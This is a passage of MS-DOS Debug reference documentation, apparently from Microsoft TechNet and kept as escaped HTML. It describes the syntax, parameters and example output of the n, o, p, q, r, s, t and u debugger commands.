&lt;p&gt;To clear the current specifications, use the following syntax:&lt;/p&gt; &lt;p&gt; &lt;b&gt;n&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;[&lt;/b&gt; &lt;b&gt; &lt;i&gt;drive&lt;/i&gt; &lt;/b&gt; &lt;b&gt;:][&lt;/b&gt; &lt;b&gt; &lt;i&gt;path&lt;/i&gt; &lt;/b&gt; &lt;b&gt;]&lt;/b&gt; &lt;b&gt; &lt;i&gt;filename&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the location and name of the executable file you want to test.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;file-parameters&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies parameters and switches for the executable file you are testing.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Notes&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;The two uses of the n command&lt;/b&gt; &lt;/p&gt; &lt;p&gt;You can use the &lt;b&gt;n&lt;/b&gt; command in two ways. First, you can use it to specify a file to be used by a later &lt;b&gt;l&lt;/b&gt; or &lt;b&gt;w&lt;/b&gt; command. If you start Debug without naming a file to be debugged, you must use the command &lt;b&gt;n&lt;/b&gt;&lt;i&gt;filename&lt;/i&gt; before you can use the &lt;b&gt;l&lt;/b&gt; command to load the file. The filename is correctly formatted for a file control block at CS:5C. Second, you can use the &lt;b&gt;n&lt;/b&gt; command to specify command-line parameters and switches for the file being debugged.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Memory areas&lt;/b&gt; &lt;/p&gt; &lt;table&gt; &lt;tbody&gt;&lt;tr&gt; &lt;th&gt; &lt;p&gt;Memory location&lt;/p&gt; &lt;/th&gt; &lt;th&gt; &lt;p&gt;Contents&lt;/p&gt; &lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;CS:5C&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;File control block (FCB) for file 1&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;CS:6C&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;File control block (FCB) for file 2&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;CS:80&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Length of n command line (in characters)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;CS:81&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;Beginning of n command-line characters&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;The first filename you specify for the &lt;b&gt;n&lt;/b&gt; command is placed in a file control block (FCB) at CS:5C. If you specify a second filename, this name is placed in an FCB at CS:6C. The number of characters typed on the &lt;b&gt;n&lt;/b&gt; command line (exclusive of the first character, &lt;b&gt;n&lt;/b&gt;) is stored at location CS:80. The actual characters on the &lt;b&gt;n&lt;/b&gt; command line (again, exclusive of the letter &lt;b&gt;n&lt;/b&gt;) are stored beginning at CS:81. Note that these characters can be any switches and delimiters that would be legal in a command typed at the MS-DOS prompt.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Examples&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Suppose you've started Debug and loaded the program PROG.COM for debugging. You subsequently decide to specify two parameters for PROG.COM and run the program. Following is the sequence of commands for this example:&lt;/p&gt; &lt;pre&gt;    debug prog.com&lt;br /&gt;   nparam1 param2&lt;br /&gt;   g&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;In this case, the Debug &lt;b&gt;g&lt;/b&gt; (go) command runs the program as if you had typed the following command at the MS-DOS prompt:&lt;/p&gt; &lt;pre&gt;prog param1 param2&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Testing and debugging therefore reflect a typical run-time environment for PROG.COM.&lt;/p&gt; &lt;p&gt;In the following sequence of commands, the first &lt;b&gt;n&lt;/b&gt; command specifies FILE1.EXE as the file for the subsequent &lt;b&gt;l&lt;/b&gt; command, which loads FILE1.EXE into memory. The second &lt;b&gt;n&lt;/b&gt; command specifies the parameters to be used by FILE1.EXE. Finally, the &lt;b&gt;g&lt;/b&gt; command runs FILE1.EXE as if you had typed &lt;b&gt;file1 file2.dat file3.dat&lt;/b&gt; at the MS-DOS prompt.&lt;/p&gt; &lt;pre&gt;nfile1.exe&lt;br /&gt;l&lt;br /&gt;nfile2.dat file3.dat&lt;br /&gt;g&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Note that you do not use the &lt;b&gt;l&lt;/b&gt; command after the second form of the &lt;b&gt;n&lt;/b&gt; command. Also note that if you now use the &lt;b&gt;w&lt;/b&gt; command, MS-DOS saves FILE1.EXE, the file being debugged, with the name FILE2.DAT. To avoid this result, you should always use the first form of the &lt;b&gt;n&lt;/b&gt; command immediately before either an &lt;b&gt;l&lt;/b&gt; or a &lt;b&gt;w&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about loading the contents of a file or of specific disk sectors into memory, see the Debug &lt;b&gt;l&lt;/b&gt; (Load) command.&lt;/p&gt; &lt;p&gt;For information about writing the file being debugged to a disk, see the Debug &lt;b&gt;w&lt;/b&gt; (Write) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection134121120120"&gt;Debug: O (Output)&lt;/h3&gt; &lt;p&gt;Sends the value of a byte to an output port.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;o&lt;/b&gt; &lt;i&gt;port byte-value&lt;/i&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;port&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the output port by address. The port address can be a 16-bit value.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;byte-value&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the byte value you want to direct to &lt;i&gt;port&lt;/i&gt;.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;To send the byte value 4Fh to the output port at address 2F8h, type the following command:&lt;/p&gt; &lt;pre&gt;o2f8 4f&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Related Command&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about reading the value of a byte from an input port, see the Debug &lt;b&gt;i&lt;/b&gt; (Input) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection135121120120"&gt;Debug: P (Proceed)&lt;/h3&gt; &lt;p&gt;Executes a loop, a repeated string instruction, a software interrupt, or a subroutine; or traces through any other instruction.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;p&lt;/b&gt; [=&lt;i&gt;address&lt;/i&gt;] [&lt;i&gt;number&lt;/i&gt;]&lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;=&lt;/b&gt; &lt;b&gt; &lt;i&gt;address&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the location of the first instruction to execute. If you do not specify an address, the default address is the current address specified in the CS:IP registers.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;number&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the number of instructions to execute before returning control to Debug. The default value is 1.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Notes&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Transferring control to the program being tested&lt;/b&gt; &lt;/p&gt; &lt;p&gt;When the &lt;b&gt;p&lt;/b&gt; command transfers control from Debug to the program being tested, that program runs without interruption until the loop, repeated string instruction, software interrupt, or subroutine at the specified address is completed, or until the specified number of machine instructions have been executed. Control then returns to Debug.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Limitations on the address parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If the &lt;i&gt;address&lt;/i&gt; parameter does not specify a segment, Debug uses the CS register of the program being tested. If you omit &lt;i&gt;address&lt;/i&gt;, the program is executed beginning at the address specified by its CS:IP registers. You must precede the &lt;i&gt;address&lt;/i&gt; parameter with an equal sign (=) to distinguish it from the &lt;i&gt;number&lt;/i&gt; parameter. If the instruction at the specified address is not a loop, a repeated string instruction, a software interrupt, or a subroutine, the &lt;b&gt;p&lt;/b&gt; command works the same way as the Debug &lt;b&gt;t&lt;/b&gt; (trace) command.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Messages displayed with the p command&lt;/b&gt; &lt;/p&gt; &lt;p&gt;After &lt;b&gt;p&lt;/b&gt; executes an instruction, Debug displays the contents of the program's registers, the status of its flags, and the decoded form of the next instruction to be executed.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Caution&lt;/b&gt;: You cannot use the &lt;b&gt;p&lt;/b&gt; command to trace through read-only memory (ROM).&lt;/p&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Suppose that the program you're testing contains a &lt;b&gt;call&lt;/b&gt; instruction at address CS:143F. To run the subroutine that is the destination of &lt;b&gt;call&lt;/b&gt; and then return control to Debug, type the following command:&lt;/p&gt; &lt;pre&gt;p=143f&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Debug displays the results in the following format:&lt;/p&gt; &lt;pre&gt;AX=0000  BX=0000  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000&lt;br /&gt;DS=2246  ES=2246  SS=2246  CS=2246  IP=1443   NV UP EI PL NZ AC PO NC&lt;br /&gt;2246:1442 7505          JNZ     144A&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about running the program currently in memory, see the Debug &lt;b&gt;g&lt;/b&gt; (Go) command.&lt;/p&gt; &lt;p&gt;For information about executing one instruction, see the Debug &lt;b&gt;t&lt;/b&gt; (Trace) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection136121120120"&gt;Debug: Q (Quit)&lt;/h3&gt; &lt;p&gt;Stops the Debug session without saving the file currently being tested.&lt;/p&gt; &lt;p&gt;After you type &lt;b&gt;q&lt;/b&gt;, control returns to MS-DOS.&lt;/p&gt; &lt;h4&gt;Syntax q&lt;/h4&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;To stop the debugging session, type the following command: &lt;b&gt;q&lt;/b&gt;&lt;/p&gt; &lt;p&gt;MS-DOS displays the MS-DOS prompt.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Related Command&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about saving a file, see the Debug &lt;b&gt;w&lt;/b&gt; (Write) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection137121120120"&gt;Debug: R (Register)&lt;/h3&gt; &lt;p&gt;Displays or alters the contents of one or more central-processing-unit (CPU) registers.&lt;/p&gt; &lt;h4&gt;Syntax r [register-name]&lt;/h4&gt; &lt;p&gt;To display the contents of all registers and flags in the register storage area, use the following syntax: &lt;b&gt;r&lt;/b&gt;&lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;register-name&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the name of the register whose contents you want to display.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Notes&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Using the r command&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If you specify a register name, MS-DOS displays the 16-bit value of that register in hexadecimal notation and displays a colon as the prompt. If you want to change the value contained in the register, type a new value and press ENTER; otherwise, just press ENTER to return to the Debug prompt.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Valid register names&lt;/b&gt; &lt;/p&gt; &lt;p&gt;The following are valid values for register-name: &lt;b&gt;ax&lt;/b&gt;, &lt;b&gt;bx&lt;/b&gt;, &lt;b&gt;cx&lt;/b&gt;, &lt;b&gt;dx&lt;/b&gt;, &lt;b&gt;sp&lt;/b&gt;, &lt;b&gt;bp&lt;/b&gt;, &lt;b&gt;si&lt;/b&gt;, &lt;b&gt;di&lt;/b&gt;, &lt;b&gt;ds&lt;/b&gt;, &lt;b&gt;es&lt;/b&gt;, &lt;b&gt;ss&lt;/b&gt;, &lt;b&gt;cs&lt;/b&gt;, &lt;b&gt;ip&lt;/b&gt;, &lt;b&gt;pc&lt;/b&gt;, and &lt;b&gt;f&lt;/b&gt;. Both &lt;b&gt;ip&lt;/b&gt; and &lt;b&gt;pc&lt;/b&gt; refer to the instruction pointer.&lt;/p&gt; &lt;p&gt;If you specify a register name other than one from the preceding list, MS-DOS displays the following message:&lt;/p&gt; &lt;pre&gt;br error&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Using the f character instead of a register name&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If you type the &lt;b&gt;f&lt;/b&gt; character instead of a register name, Debug displays the current setting of each flag as a two-letter code and then displays the Debug prompt. To change the setting of a flag, type the appropriate two-letter code from the following table:&lt;/p&gt; &lt;table&gt; &lt;tbody&gt;&lt;tr&gt; &lt;th&gt; &lt;p&gt;Flag name&lt;/p&gt; &lt;/th&gt; &lt;th&gt; &lt;p&gt;Set&lt;/p&gt; &lt;/th&gt; &lt;th&gt; &lt;p&gt;Clear&lt;/p&gt; &lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;Overflow&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;ov&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;nv&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;Direction&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;dn (decrement)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;up (increment)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;Interrupt&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;ei (enabled)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;di (disabled)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;Sign&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;ng (negative)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;pl (positive)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;Zero&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;zr&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;nz&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;Auxiliary Carry&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;ac&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;na&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;Parity&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;pe (even)&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;po (odd)&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p&gt;Carry&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;cy&lt;/p&gt; &lt;/td&gt; &lt;td&gt; &lt;p&gt;nc&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;You can type new flag values in any order. You need not leave spaces between these values. To stop the &lt;b&gt;r&lt;/b&gt; command, press ENTER. Any flags for which you did not specify new values remain unchanged.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Messages displayed with the r command&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If you specify more than one value for a flag, Debug displays the following message:&lt;/p&gt; &lt;pre&gt;df error&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If you specify a flag code not listed in the preceding table, Debug displays the following message:&lt;/p&gt; &lt;pre&gt;bf error&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;In both cases, Debug ignores all settings specified after the invalid entry.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Default settings for Debug&lt;/b&gt; &lt;/p&gt; &lt;p&gt;When you start Debug, the segment registers are set to the bottom of free memory, the instruction pointer is set to 0100h, all flags are cleared, and the remaining registers are set to zero, except for &lt;b&gt;sp&lt;/b&gt;, which is set to FFEEh.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Examples&lt;/b&gt; &lt;/p&gt; &lt;p&gt;To view the contents of all registers, the status of all flags, and the decoded form of the instruction at the current location, type the following command:&lt;/p&gt; &lt;pre&gt;r&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If the current location is CS:11A, the display will look similar to the following:&lt;/p&gt; &lt;pre&gt;AX=0E00 BX=00FF CX=0007 DX=01FF SP=039D BP=0000 SI=005C DI=0000&lt;br /&gt;DS=04BA ES=04BA SS=04BA CS=O4BA IP=011A  NV UP DI NG NZ AC PE NC&lt;br /&gt;04BA:011A  CD21          INT     21&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;To view only the status of the flags, type the following command:&lt;/p&gt; &lt;pre&gt;rf&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Debug displays the information in the following format:&lt;/p&gt; &lt;pre&gt;NV UP DI NG NZ AC PE NC - _&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Now you can type one or more valid flag values, in any order, with or without spaces, as in the following command:&lt;/p&gt; &lt;pre&gt;nv up di ng nz ac pe nc – pleicy&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Debug stops the &lt;b&gt;r&lt;/b&gt; command and displays the Debug prompt. To see the changes, type either the &lt;b&gt;r&lt;/b&gt; or &lt;b&gt;rf&lt;/b&gt; command. Debug then displays the following:&lt;/p&gt; &lt;pre&gt;NV UP EI PL NZ AC PE CY - _&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Press ENTER to return to the Debug prompt.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about displaying the contents of a portion of memory, see the Debug &lt;b&gt;d&lt;/b&gt; (Dump) command.&lt;/p&gt; &lt;p&gt;For information about disassembling bytes, see the Debug&lt;b&gt; u&lt;/b&gt; (Unassemble) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection138121120120"&gt;Debug: S (Search)&lt;/h3&gt; &lt;p&gt;Searches a range of addresses for a pattern of one or more byte values.&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;s&lt;/b&gt; &lt;i&gt;range&lt;/i&gt; &lt;i&gt;list&lt;/i&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;range&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the beginning and ending addresses of the range you want to search. For information about valid values for the &lt;i&gt;range&lt;/i&gt; parameter, see the &lt;b&gt;debug&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;list&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the pattern of one or more byte values or a string you want to search for. Separate each byte value from the next with a space or a comma. Enclose string values in quotation marks.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Note&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If the &lt;i&gt;list&lt;/i&gt; parameter contains more than one byte value, Debug displays only the first address where the byte value occurs. If &lt;i&gt;list&lt;/i&gt; contains only one byte value, Debug displays all addresses where the value occurs in the specified range.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Examples&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Suppose you want to find all addresses in the range CS:100 through CS:110 that contain the value 41. To do this, type the following command:&lt;/p&gt; &lt;pre&gt;scs:100 110 41&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Debug displays the results in the following format:&lt;/p&gt; &lt;pre&gt;04BA:0104&lt;br /&gt;04BA:010D&lt;br /&gt;-&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;The following command searches for the string "Ph" in the range CS:100 through CS:1A0:&lt;/p&gt; &lt;pre&gt;scs:100 1a0 "Ph"&lt;br /&gt;&lt;/pre&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection139121120120"&gt;Debug: T (Trace)&lt;/h3&gt; &lt;p&gt;Executes one instruction and displays the contents of all registers, the status of all flags, and the decoded form of the instruction executed.&lt;/p&gt; &lt;h4&gt;Syntax t [=address] [number]&lt;/h4&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;=&lt;/b&gt; &lt;b&gt; &lt;i&gt;address&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the address at which Debug is to start tracing instructions. If you omit the &lt;i&gt;address&lt;/i&gt; parameter, tracing begins at the address specified by your program's CS:IP registers. For information about valid values for the &lt;i&gt;address&lt;/i&gt; parameter, see the &lt;b&gt;debug&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;number&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the number of instructions to be traced. This value must be a hexadecimal number. The default value is 1.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Notes&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Tracing instructions in read-only memory&lt;/b&gt; &lt;/p&gt; &lt;p&gt;The &lt;b&gt;t&lt;/b&gt; command uses the hardware trace mode of the 8086 or 8088 microprocessor. Therefore, you can also trace instructions stored in read-only memory (ROM).&lt;/p&gt; &lt;p&gt; &lt;b&gt;Using the address parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt;You must precede the &lt;i&gt;address&lt;/i&gt; parameter with an equal sign (=) to distinguish it from the &lt;i&gt;number&lt;/i&gt; parameter.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;To execute one instruction (pointed to by CS:IP), and then display the contents of the registers, the status of the flags, and the decoded form of the instruction, type the following command:&lt;/p&gt; &lt;pre&gt;t&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If the position of the instruction in the program were 04BA:011A, Debug might display the following information:&lt;/p&gt; &lt;pre&gt;AX=0E00 BX=00FF CX=0007 DX=01FF SP=039D BP=0000 SI=005C DI=0000&lt;br /&gt;DS=04BA ES=04BA SS=04BA CS=O4BA IP=011A  NV UP DI NG NZ AC PE NC&lt;br /&gt;04BA:011A  CD21          INT     21&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about executing a loop, a repeated string instruction, a software interrupt, or a subroutine, see the Debug &lt;b&gt;p&lt;/b&gt; (Proceed) command.&lt;/p&gt; &lt;p&gt;For information about executing the program currently in memory, see the Debug &lt;b&gt;g&lt;/b&gt; (Go) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection140121120120"&gt;Debug: U (Unassemble)&lt;/h3&gt; &lt;p&gt;Disassembles bytes and displays their corresponding source statements, including addresses and byte values. The disassembled code looks like a listing for an assembled file.&lt;/p&gt; &lt;h4&gt;Syntax u [range]&lt;/h4&gt; &lt;p&gt;To disassemble 20h bytes (the default number), beginning at the first address after the address displayed by the previous &lt;b&gt;u&lt;/b&gt; command, use the following syntax: &lt;b&gt;u&lt;/b&gt;&lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;range&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the starting and ending addresses, or the starting address and length, of the code you want to disassemble. For information about valid values for the &lt;i&gt;range&lt;/i&gt; parameter, see the &lt;b&gt;debug&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Examples&lt;/b&gt; &lt;/p&gt; &lt;p&gt;To disassemble 16 (10h) bytes, beginning at address 04BA:0100, type the following command:&lt;/p&gt; &lt;pre&gt;u04ba:100l10&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Debug displays the results in the following format:&lt;/p&gt; &lt;pre&gt;04BA:0100  206472    AND  [SI+72],AH&lt;br /&gt;04BA:0103  69        DB   69&lt;br /&gt;04BA:0104  7665      JBE  016B&lt;br /&gt;04BA:0106  207370    AND  [BP+DI+70],DH&lt;br /&gt;04BA:0109  65        DB   65&lt;br /&gt;04BA:010A  63        DB   63&lt;br /&gt;04BA:010B  69        DB   69&lt;br /&gt;04BA:010C  66        DB   66&lt;br /&gt;04BA:010D  69        DB   69&lt;br /&gt;04BA:010E  63        DB   63&lt;br /&gt;04BA:010F  61        DB   61&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;To display only the information for the specific addresses 04BA:0100 through 04BA:0108, type the following command:&lt;/p&gt; &lt;pre&gt;u04ba:0100 0108&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Debug displays the following:&lt;/p&gt; &lt;pre&gt;04BA:0100  206472    AND  [SI+72],AH&lt;br /&gt;04BA:0103  69        DB   69&lt;br /&gt;04BA:0104  7665      JBE  016B&lt;br /&gt;04BA:0106  207370    AND  [BP+DI+70],DH&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about assembling mnemonics, see the Debug &lt;b&gt;a&lt;/b&gt; (Assemble) command.&lt;/p&gt; &lt;p&gt;For information about displaying the contents of a portion of memory, see the Debug &lt;b&gt;d&lt;/b&gt; (Dump) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" 